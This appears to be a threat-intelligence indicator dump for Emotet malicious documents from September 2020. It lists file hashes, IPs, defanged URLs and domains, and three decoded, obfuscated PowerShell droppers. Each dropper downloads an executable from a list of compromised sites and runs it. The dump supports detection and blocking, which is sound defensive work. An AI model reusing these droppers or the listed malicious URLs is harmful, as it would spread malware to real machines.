Emotet_Doc_out_2020-09-21_22_05.txt

#Emotet #Docs #malware #OSINT #IOC

SHA256:
2cf740fe002fcb52b76e9121ef2b1c0efad8f7829310489bf59e7a045742deb8
3bd8620bf36ba8d7e4bfa1477aa62faf1a980ca50783b571fbd71b9e00d36a52
70703c85120edbeef8ad0813b2ed9ba2fac6b856aee1eaa112ffb12f4cad9f41
68c41cf3b9ad038c684a928847be39b790d0de074101c554c7b7ff2cd32bbedd
31674a6f9a3af9c35d63550ad3d2bb37c910304d96d7ed56a1d5c418b0936009
a437e2c0bdceb42fa9b6d14a398043dcb832abaed3357f649ae4bd1756802dd0
70e273a60af8784db64021a4c41e0f4963ee67a02c0c3c1deb8aacbf74149a39
56cccdfa916393c8d85145450efab9f5862bfe379c2c38951956c6fd9592f53c
d54c82bc2188424a79d137dc8dc9cd7764a0e62e8af9ba7a37fec7058efc20ea
5bcff88fb7e7145c160caf05dd1eeaf462a13bcad2f037b87204026d0146a668
8b60b261b7d64f0e7ff4d7a76fee3efc31a5caba0d764122e5bbb6dee3684b4f
230f8ab12618e81bd64e2a7e18a63b323aea440bb8bd112553541c0a83b98d81
55b83e0145826b5f2be4fc231a15ebfea175ce87689594c884ac7a7e4a8a308f
f822bd6f9426cfa72121ca946e9dd04ff3bd8832db4564ecd2ca11dd2f187a67
d497bbf903f9694b94bb89691f77296e779b76aa135b390d97a3e51502c52bf9
2399ac63e3280313a12469e86cd594da3fdece95ec09663dd10823aeb1958130
9f20d4c02cc0a17cab07b9dd439952f5b036ebe4e1b1adf6bfd639386ce05eae
9f20d4c02cc0a17cab07b9dd439952f5b036ebe4e1b1adf6bfd639386ce05eae
ef8a188ef5589dc2f34db1b19956c9989c1b99d57ce3c61e7cb8d422c1b01e37
ef8a188ef5589dc2f34db1b19956c9989c1b99d57ce3c61e7cb8d422c1b01e37
400ce9c0043e68540e0e6d31efc1165cd0e4d696ccefb033d77e6f9fe45e0f5d
400ce9c0043e68540e0e6d31efc1165cd0e4d696ccefb033d77e6f9fe45e0f5d
1bbe375d43a1851674a41be075244edd766ebcb1e62ca831450f11202cac82d1
9c52aa87b478480188f49240e7286d869dc06ab37388e6821f088b5eab8bdaf7
9c52aa87b478480188f49240e7286d869dc06ab37388e6821f088b5eab8bdaf7
06ff769ddd838638dd933879a8a930aeacbcae74bf6df79aa7c9899d90222eaa
6ca00f6d839ec9a1a0d786abef71fce3d2d88018968bbd427a8e2d25f6099c57
695508f2675521f0d2405a900032570a8ff7a70d25e37cc380b049dcf7819c6f


IPs:
103.35.164.219
103.53.43.93
104.153.72.10
104.18.37.227
104.18.38.35
104.18.39.35
106.12.17.139
108.179.253.239
123.59.232.99
134.122.112.132
136.0.111.91
139.180.216.51
155.94.144.151
161.35.19.129
172.67.165.12
172.67.216.202
178.128.200.183
188.68.47.69
192.185.173.43
35.232.214.226
40.84.232.28
52.231.154.57
63.250.36.225
85.187.156.24



URLs:
hxxp://minershallmuseum.com/documents/D/
hxxp://injazjordan.com/moodle/Vh/
hxxps://site1.xyz/wp-admin/Y/
hxxp://2bstone.com/vr7tf0c/ZD/
hxxp://biology-360.com/wp-admin/hv/
hxxp://tez-tour.site/wp-content/9sB/
hxxp://iooe.cn/wp-content/hdO/."sP`lIT"[char]42;
hxxp://swadgaar.com/wp-admin/f3qB/
hxxp://oxeir.com/wp-admin/T/
hxxp://prosperahertz.com/wp-admin/AnnaV/
hxxp://banglashikhon.com/wp-content/XxI3wH/
hxxp://iamcyteese.com/wordpress/twv0L/
hxxp://homehm.xyz/wp-admin/hchhm/
hxxp://dev.internal.dextrousinfosolutions.com/niamh-quirke-solicitors/g/."SpL`iT"[char]42;
hxxps://www.1plus-agency.com/tmp/nlr08Z0/
hxxp://winadev.com/uglot/iiClU/
hxxps://enews.enkj.com/wordpress/h62/
hxxps://apicosto.misco-furniture.com/dvzmj/0xm3yS/
hxxp://drbeatrice.com/wp-content/HSz/
hxxps://ienerpro.com/cgi-bin/VVwhOR/
hxxps://premierbarsamui.com/Irc/O/."s`plit"[char]42;


Domains:
minershallmuseum.com
injazjordan.com
site1.xyz
2bstone.com
biology-360.com
tez-tour.site
iooe.cn
swadgaar.com
oxeir.com
prosperahertz.com
banglashikhon.com
iamcyteese.com
homehm.xyz
dev.internal.dextrousinfosolutions.com
www.1plus-agency.com
winadev.com
enews.enkj.com
apicosto.misco-furniture.com
drbeatrice.com
ienerpro.com
premierbarsamui.com


Decoded Base64 Powershell:
����^�$Z5m4qap=Ziw_ks7;
&new-item $Env:UserpRoFiLe\AxmrHAT\J5cki19\ -itemtype dirECTorY;
[Net.ServicePointManager]::"sE`cuRI`Typ`RO`TOCol" = tls12, tls11, tls;
$Xn9t6jy = Quw2u4t;
$Dx053bg=Lztb872;
$Iybmx5m=$env:userprofile{0}Axmrhat{0}J5cki19{0}-f[ChaR]92$Xn9t6jy.exe;
$Fys0ote=X3yzehz;
$Djtxqrm=.new-object Net.WeBClieNt;
$Nlxtnia=hxxp://minershallmuseum.com/documents/D/
hxxp://injazjordan.com/moodle/Vh/
hxxps://site1.xyz/wp-admin/Y/
hxxp://2bstone.com/vr7tf0c/ZD/
hxxp://biology-360.com/wp-admin/hv/
hxxp://tez-tour.site/wp-content/9sB/
hxxp://iooe.cn/wp-content/hdO/."sP`lIT"[char]42;
$Hax4bv8=Aouv06o;
foreach$Ok2xn7j in $Nlxtnia{try{$Djtxqrm."Down`Load`FilE"$Ok2xn7j, $Iybmx5m;
$Vvs8lu8=Nd8ansd;
If .Get-Item $Iybmx5m."L`EnGTh" -ge 24468 {.Invoke-Item$Iybmx5m;
$I28j00x=O9a0t7c;
break;
$Y7tz473=Aj9z8vt}}catch{}}$Ivxdrs6=Wf3w8y_����^�$Mnv2zhm=B9qwt0b;
&new-item $env:uSErpROfIle\qecTe_L\dGED3Qj\ -itemtype DirECTOry;
[Net.ServicePointManager]::"sEc`UriT`ypR`o`TocOL" = tls12, tls11, tls;
$Joizbvq = Ur74rq;
$Z2buxo8=Xfriya1;
$Zc_y5ta=$env:userprofileU8nQecte_lU8nDged3qjU8n."REp`l`ACe"U8n,\$Joizbvq.exe;
$L40sgu1=Ee7llvr;
$Iq9v4z7=&new-object NET.WebCLieNT;
$Qb_4a3y=hxxp://swadgaar.com/wp-admin/f3qB/
hxxp://oxeir.com/wp-admin/T/
hxxp://prosperahertz.com/wp-admin/AnnaV/
hxxp://banglashikhon.com/wp-content/XxI3wH/
hxxp://iamcyteese.com/wordpress/twv0L/
hxxp://homehm.xyz/wp-admin/hchhm/
hxxp://dev.internal.dextrousinfosolutions.com/niamh-quirke-solicitors/g/."SpL`iT"[char]42;
$A8w_yyz=Dwtrc1o;
foreach$Virs9u0 in $Qb_4a3y{try{$Iq9v4z7."D`Ow`NLo`AdFiLe"$Virs9u0, $Zc_y5ta;
$Bgq_t9j=Aynstva;
If .Get-Item $Zc_y5ta."len`gTh" -ge 26863 {&Invoke-Item$Zc_y5ta;
$Eh2p1x4=Gnvbimr;
break;
$Rjeer3d=E0akhgu}}catch{}}$E38sx4m=R8jvzo4����^�$Qck828v=Rhxdsoj;
&new-item $ENv:UseRPrOfilE\XB1rqMo\Cj2z2jP\ -itemtype DIrECTory;
[Net.ServicePointManager]::"Sec`U`Rit`YpR`OtoCoL" = tls12, tls11, tls;
$Mo60ckx = Tlylng;
$Kyr3l36=G_gmaa2;
$Tb_6ust=$env:userprofileX9BXb1rqmoX9BCj2z2jpX9B."R`E`plaCE"[CHAR]88[CHAR]57[CHAR]66,[strinG][CHAR]92$Mo60ckx.exe;
$Zrj5izk=Raw0pwd;
$Tj3a913=&new-object NEt.WEBclieNt;
$Zh9frnn=hxxps://www.1plus-agency.com/tmp/nlr08Z0/
hxxp://winadev.com/uglot/iiClU/
hxxps://enews.enkj.com/wordpress/h62/
hxxps://apicosto.misco-furniture.com/dvzmj/0xm3yS/
hxxp://drbeatrice.com/wp-content/HSz/
hxxps://ienerpro.com/cgi-bin/VVwhOR/
hxxps://premierbarsamui.com/Irc/O/."s`plit"[char]42;
$L37jjek=Vhpelbi;
foreach$Knouncx in $Zh9frnn{try{$Tj3a913."dOw`NloA`DFiLE"$Knouncx, $Tb_6ust;
$Z0y6dmb=Jrdlf7v;
If .Get-Item $Tb_6ust."lE`NGTh" -ge 32466 {&Invoke-Item$Tb_6ust;
$W7ifsd7=Oabkgzx;
break;
$N0r0ihe=E74a_u9}}catch{}}$Uiqg_0s=Uzumapg